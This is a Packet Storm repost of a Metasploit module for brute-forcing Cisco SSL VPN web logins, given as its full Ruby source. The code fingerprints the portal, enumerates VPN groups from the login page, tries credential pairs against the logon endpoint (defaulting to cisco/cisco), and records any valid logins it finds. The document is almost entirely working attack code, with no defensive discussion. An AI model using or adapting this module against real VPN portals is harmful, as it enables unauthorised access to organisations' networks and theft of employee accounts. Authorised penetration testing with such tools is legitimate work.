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Cisco SSL VPN Bruteforce Login Utility

🗓️ 01 Sep 2024 00:00:00Reported by Jonathan Claudius, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 283 Views

Cisco SSL VPN Brute Force Login Utility performs login brute force to identify valid credentials for Cisco SSL VPN web login portals. It scans for Cisco SSL VPN web login portals, enumerates VPN groups, and then attempts login brute force.

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::AuthBrute  
include Msf::Auxiliary::Scanner  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Cisco SSL VPN Bruteforce Login Utility',  
'Description' => %{  
This module scans for Cisco SSL VPN web login portals and  
performs login brute force to identify valid credentials.  
},  
'Author' =>  
[  
'Jonathan Claudius <jclaudius[at]trustwave.com>'  
],  
'License' => MSF_LICENSE,  
'DefaultOptions' =>  
{  
'SSL' => true,  
'USERNAME' => 'cisco',  
'PASSWORD' => 'cisco'  
}  
))  
  
register_options(  
[  
Opt::RPORT(443),  
OptString.new('GROUP', [false, "A specific VPN group to use", ''])  
])  
register_advanced_options(  
[  
OptBool.new('EmptyGroup', [true, "Use an empty group with authentication requests", false])  
])  
end  
  
def run_host(ip)  
unless check_conn?  
vprint_error("Connection failed, Aborting...")  
return false  
end  
  
unless is_app_ssl_vpn?  
vprint_error("Application does not appear to be Cisco SSL VPN. Module will not continue.")  
return false  
end  
  
vprint_good("Application appears to be Cisco SSL VPN. Module will continue.")  
  
groups = Set.new  
if datastore['EmptyGroup'] == true  
groups << ""  
elsif datastore['GROUP'].empty?  
vprint_status("Attempt to Enumerate VPN Groups...")  
groups = enumerate_vpn_groups  
  
if groups.empty?  
vprint_warning("Unable to enumerate groups")  
vprint_warning("Using the default group: DefaultWEBVPNGroup")  
groups << "DefaultWEBVPNGroup"  
else  
vprint_good("Enumerated VPN Groups: #{groups.to_a.join(", ")}")  
end  
  
else  
groups << datastore['GROUP']  
end  
  
vprint_status("Starting login brute force...")  
groups.each do |group|  
each_user_pass do |user, pass|  
do_login(user, pass, group)  
end  
end  
end  
  
# Verify whether the connection is working or not  
def check_conn?  
begin  
res = send_request_cgi('uri' => '/', 'method' => 'GET')  
if res  
vprint_good("Server is responsive...")  
return true  
end  
rescue ::Rex::ConnectionRefused,  
::Rex::HostUnreachable,  
::Rex::ConnectionTimeout,  
::Rex::ConnectionError,  
::Errno::EPIPE  
end  
false  
end  
  
def get_login_resource  
send_request_cgi(  
'uri' => '/+CSCOE+/logon.html',  
'method' => 'GET',  
'vars_get' => { 'fcadbadd' => "1" }  
)  
end  
  
def enumerate_vpn_groups  
groups = Set.new  
group_name_regex = /<select id="group_list" name="group_list" style="z-index:1(?:; float:left;)?" onchange="updateLogonForm\(this\.value,{(.*)}/  
  
res = get_login_resource  
if res && match = res.body.match(group_name_regex)  
group_string = match[1]  
groups = group_string.scan(/'([\w\-0-9]+)'/).flatten.to_set  
end  
  
groups  
end  
  
# Verify whether we're working with SSL VPN or not  
def is_app_ssl_vpn?  
res = get_login_resource  
res && res.code == 200 && res.body.match(/webvpnlogin/)  
end  
  
def do_logout(cookie)  
send_request_cgi(  
'uri' => '/+webvpn+/webvpn_logout.html',  
'method' => 'GET',  
'cookie' => cookie  
)  
end  
  
def report_cred(opts)  
service_data = {  
address: opts[:ip],  
port: opts[:port],  
service_name: 'Cisco SSL VPN',  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: opts[:user],  
private_data: opts[:password],  
private_type: :password  
}.merge(service_data)  
  
login_data = {  
last_attempted_at: DateTime.now,  
core: create_credential(credential_data),  
status: Metasploit::Model::Login::Status::SUCCESSFUL,  
proof: opts[:proof]  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
  
# Brute-force the login page  
def do_login(user, pass, group)  
vprint_status("Trying username:#{user.inspect} with password:#{pass.inspect} and group:#{group.inspect}")  
  
begin  
cookie = "webvpn=; " +  
"webvpnc=; " +  
"webvpn_portal=; " +  
"webvpnSharePoint=; " +  
"webvpnlogin=1; " +  
"webvpnLang=en;"  
  
post_params = {  
'tgroup' => '',  
'next' => '',  
'tgcookieset' => '',  
'username' => user,  
'password' => pass,  
'Login' => 'Logon'  
}  
  
post_params['group_list'] = group unless group.empty?  
  
res = send_request_cgi(  
'uri' => '/+webvpn+/index.html',  
'method' => 'POST',  
'ctype' => 'application/x-www-form-urlencoded',  
'cookie' => cookie,  
'vars_post' => post_params  
)  
  
if res &&  
res.code == 200 &&  
res.body.match(/SSL VPN Service/) &&  
res.body.match(/webvpn_logout/i)  
  
print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}:#{group.inspect}")  
  
do_logout(res.get_cookies)  
  
report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)  
report_note(ip: rhost, type: 'cisco.cred.group', data: "User: #{user} / Group: #{group}")  
return :next_user  
  
else  
vprint_error("FAILED LOGIN - #{user.inspect}:#{pass.inspect}:#{group.inspect}")  
end  
  
rescue ::Rex::ConnectionRefused,  
::Rex::HostUnreachable,  
::Rex::ConnectionTimeout,  
::Rex::ConnectionError,  
::Errno::EPIPE  
vprint_error("HTTP Connection Failed, Aborting")  
return :abort  
end  
end  
end  
`

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